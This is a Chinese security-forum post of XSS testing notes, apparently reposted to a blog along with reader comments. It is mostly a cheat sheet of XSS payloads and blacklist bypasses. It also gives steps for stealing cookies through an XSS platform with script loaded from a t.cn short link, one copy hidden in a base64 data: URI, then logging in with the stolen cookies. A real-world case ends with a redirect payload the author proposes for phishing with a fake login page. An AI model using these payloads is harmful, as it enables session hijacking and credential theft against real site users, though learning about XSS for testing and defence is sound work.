【漏洞研究】[Web安全]XSS小记



本篇文章奖金:600元,投稿邮箱:[email protected]
如需要转载,请先联系先知技术社区授权;未经授权请勿转载。



XSS小记


作者:fresh

0x00 引言x

当前的情况下,测试漏洞时遇到sql注入的可能性较小,但xss的可能性就比较大。
于是就把自己平时测试xss漏洞的一些语句,记录下来。附带大牛《XSS高级教程打包》 ,求轻喷!


0x01 要点

多结合输入与输出的值进行比较,达到闭合的条件。
查看输出位置:查看源码处与F12查看元素处,结合搜索功能快速锁定位置。


0x02 常用事件

script类
<script>alert("xss")</script>
<script>alert(/xss/)</script>//双引号换成斜杠
<script>alert('xss')</script>//用单引号
<script>alert("xss");</script>//用分号
<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert("jdq")//自动补全
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分号
<script>alert("xss");;;;;;;;;;;;;;;;;   ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//空格+分号
<script>alert("xss");;;;;;;;;;;;;;;;;       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//换行符
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//回车

On事件
On事件大全,平时遇到很多的xss黑名单的过滤时,我们就需要多使用一些不常见的on事件来触发。
HTML DOM 事件对象一览表,打开下列地址(即可获得):
http://www.ziqiangxuetang.com/jsref/dom-obj-event.html
总结一些常用于触发的事件类型有
Onmouseover
当鼠标指针移动到标签上时执行一段 JavaScript,如:<p onmouseover="alert(1)" ></p>
onmouseover 属性不适用以下元素:<base>、<bdo>、<br>、<head>、<html>、<meta>、<param>、<script>、<style> 或 <title>。

Onclick
事件会在对象被点击时发生。<a>, <address>, <area>, <b>, <bdo>,<big>, <blockquote>, <body>, <button>,
<caption>, <cite>, <code>,<dd>, <dfn>, <div>, <dl>, <dt>, <em>,<fieldset>,
<form>, <h1> to<h6>, <hr>, <i>, <img>, <input>, <kbd>,<label>, <legend>,
<li>, <map>,<object>, <ol>, <p>, <pre>, <samp>,<select>, <small>, <span>,
<strong>, <sub>,<sup>, <table>, <tbody>, <td>, <textarea>,<tfoot>, <th>,
<thead>, <tr>,<tt>, <ul>, <var>

Onload
页面加载之后立即执行一段 JavaScript:
<bodyonload="load()">

onerror
如果在加载图片时发生错误则执行 JavaScript :
<img src="image.gif"onerror="myFunction()">

ondrag
在 <p> 元素开始拖动时执行 JavaScript:
<p draggable="true" ondrag="alert(1)">Dragme!</p>

onhashchange
当锚部分发生变化时执行 JavaScript:
<body/onhashchange=alert(1)><ahref=#>clickit


0x03 获取信息及xss平台使用

测试代码

测试弹框:alert(1)
获取cookie :
document.cookie

获取html中id的信息:
document.getElementById('header_search').innerHTML

两者结合:
alert(document.cookie+document.getElementById('header_search').innerHTML)


xss平台获取cookie


平常可能这个就是用的最多的方式了。
前提我们已经找到一个xss可利用的点后,我们现在可通过网上的xss平台或者自己搭建的平台来接受cookie。获取到cookie后模拟登陆
过程
----------------------------
访问xss平台,在线免费平台(http://webxss.net/index.php?do=login)创建一个项目,自己命一个名。

选择默认板块,他将会给你提示,怎么使用,你可以直接在找到的地方如下进行利用即可,



如果遇到过滤、waf等,需要自己绕过后,将其中的src后的地址添加进自己的payload
如xss平台payload:
<script src=http://t.cn/RcJWDDP></script>


当过滤了<script>后怎么利用呢?
可以考虑如下:
<a onmouseover=s=createElement('script');body.appendChild(s);s.src=http://t.cn/RcJWDDP>sss</a>


其他标签xss类似,只需将alert(1)改为
s=createElement('script');body.appendChild(s);s.src= http://t.cn/RcJWDDP
即可

查看打到的结果:下图可以获得的信息有cookie值、URL地址、Reffer、远程IP地址



接下来我们又怎么利用呢?
可以使用k8飞刀的cookie登陆,
也可使用burp截断数据包,修改其中的URL地址与cookie信息,进行的登陆。


注意事项
-----------------
当网站的cookie值采用httponly时是获取不到cookie的值。


0x04 常用的paylod
<img src=1onmouseover=alert(1)>
<a herf=1onload=alert(1)>xx</a>
<body/onhashchange=alert(1)><ahref=#>clickit (当锚出现变化时触发弹框)
<objectdata="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>
"><svg/onload=alert(/1/)>
Input标签xss(autofocus自动触发,注意属性hidden时,无法触发)
112" name=javascript:alert(1)autofocus onfocus=location=this.name
112" name=javascript:alert`1`autofocus onfocus=location=this.name

富文本xss:
<span class="yyy "onmouseover=alert(1);//"></span>

markdown xss:

输入:[test](javascript://%0d%0aprompt(1);com)
输出:<ahref="javascript://%0d%0aprompt(1);com">test</a>

0x05 其他资源

富文本xss在年初特别火有许多的编辑器都存在相关漏洞,平时多关注最新的xss。
http://www.tuicool.com/articles/yIBNrmQ
markdown xss :http://www.freebuf.com/articles/web/58687.html
附件:XSS高级教程打包.rar


0x06xss挖掘实例
Input xss(曾发表在I春秋上)


最近在测试某厂商漏洞时,遇到input xss 情况,由于之前未遇到过,故分享。
漏洞存在职位搜索页面,burp抓取到的数据如下:
地址:http://xxxx.com/rps-xxx/position/show_position_new.htm?type=1
post数据:
pageNumber=1&type=1&jobAddress=&poTypeSecond=&groupCode=01&pageSize=10&searchParam=aaaaa


上处aaaaa标红的地方为输入的地方,正常查询后,审查元素结果如下:


经测试发现:

1.存在< ,即报错。        只能在input中利用
2.支持双引号                  可闭合参数
3.出现 onmouseover onload onerror 等号的内容不显示,如输入 " onmouseover=alert(1) => onmouseover          测试发现onfocus可用,autofocus自动触发
4.过滤了圆括号() URL编码后也不能绕过,直接报错                采用外部链接
5.过滤了 http://                           ///替代http

参照网上大牛的payload:
xxxxxxxxxx"name=javasCript:alert%281%29 autofocus onfocus=location=this.name xx

直接利用是不行的,因为禁用了圆括号 包括%28%29
后续修改参数中 name的值
最终的payload如下:
aaaaa" name=///www.baidu.com autofocusonfocus=location=this.name xs=

效果是用户提交过后自动跳转到百度页面。
-----------------------------
这样的漏洞比较鸡肋,利用起来有一定的难度,个人觉得可用于钓鱼。
即:
跳转页面,换为一个模仿登陆口的页面,欺骗用户登录。
为了达到这效果,payload中的跳转链接,可使用data:text/html; 这样的为协议来达到效果
如:
aaaaa"name=data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4=autofocus onfocus=location=this.name xs=
----------------------------------
更新:鉴于有朋友提到,后面t00ls大牛提醒后,确实可以绕过
xxxxxxxxxx"name=javasCript:alert`1` autofocus onfocus=location=this.name xx
拓展文章:http://static.hx99.net/static/bugs/wooyun-2016-0167250.html


markdown xss


1、漏洞发现方式
因帖子回复支持makedown
在回复留言的地方回复已下语句:
[test](javascript://%0d%0aprompt(document.cookie);com)
即可植入一个存储型的xss


2、漏洞证明
测试数据已删除



基于discuz二次开发xss


遇到某src的bbs系统,是discuz的cms模板,其他发帖的功能与平时相同,但是他增加了一个插入应用的功能,如下所示:







触发条件:onhashchange当页面锚部分发生变化时执行JavaScript

当时是黑名单过滤了on相关事件,后利用比较生僻的onhashchange绕过,多尝试下,可以直接用onxxxxxxxx这类直接看是否过滤。


附件:《XSS高级教程打包》
链接: http://pan.baidu.com/s/1hsC0dlM 密码: cxux
------------------------------
欢迎大家多多交流!

blog:fr1sh.com


学习啦,赞楼主!
欢迎更多白帽子投稿
可以多写写刷各大src的奇技淫巧     
666
希望先知论坛的书写版本再规范下,我有强迫症哈哈
收到。感谢建议~
fresh你跑先知来了啊哈哈
  1. 经测试发现:
  2. 1.存在< ,即报错。        只能在input中利用
  3. 2.支持双引号                  可闭合参数
  4. 3.出现 onmouseover onload onerror 等号的内容不显示,如输入 " onmouseover=alert(1) => onmouseover          测试发现onfocus可用,autofocus自动触发
  5. 4.过滤了圆括号() URL编码后也不能绕过,直接报错                采用外部链接
  6. 5.过滤了 http://                           ///替代http
  7. 参照网上大牛的payload:
  8. xxxxxxxxxx"name=javasCript:alert%281%29 autofocus onfocus=location=this.name xx
  9. 直接利用是不行的,因为禁用了圆括号 包括%28%29
  10. 后续修改参数中 name的值
  11. 最终的payload如下:
  12. aaaaa" name=///www.baidu.com autofocusonfocus=location=this.name xs=
  13. 效果是用户提交过后自动跳转到百度页面。
  14. -----------------------------
  15. 这样的漏洞比较鸡肋,利用起来有一定的难度,个人觉得可用于钓鱼。
  16. 即:
  17. 跳转页面,换为一个模仿登陆口的页面,欺骗用户登录。
  18. 为了达到这效果,payload中的跳转链接,可使用data:text/html; 这样的为协议来达到效果
  19. 如:
  20. aaaaa"name=data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4=autofocus onfocus=location=this.name xs=



这段确认不是在搞笑呢么。。。

看到前面说有那么多过滤,然后发到i春秋,还挺期待。
结果看到最后,说你也不行,然后就直接跳转到其他url,也是醉了。。。

  1. 直接利用是不行的,因为禁用了圆括号 包括%28%29


这样不行为啥不试试别的姿势,比如unicode 或者字符串拆分等......

技术交流QQ群: 397745473
来自:https://xianzhi.aliyun.com/forum/read/196.html?fpage=9

评论

此博客中的热门博文

【黑产分析】互联网业务安全的黑灰产业链的故事

【黑产分析】【转载】技术分享|利用恶意软件检测服务向服务提供商植入恶意软件(一)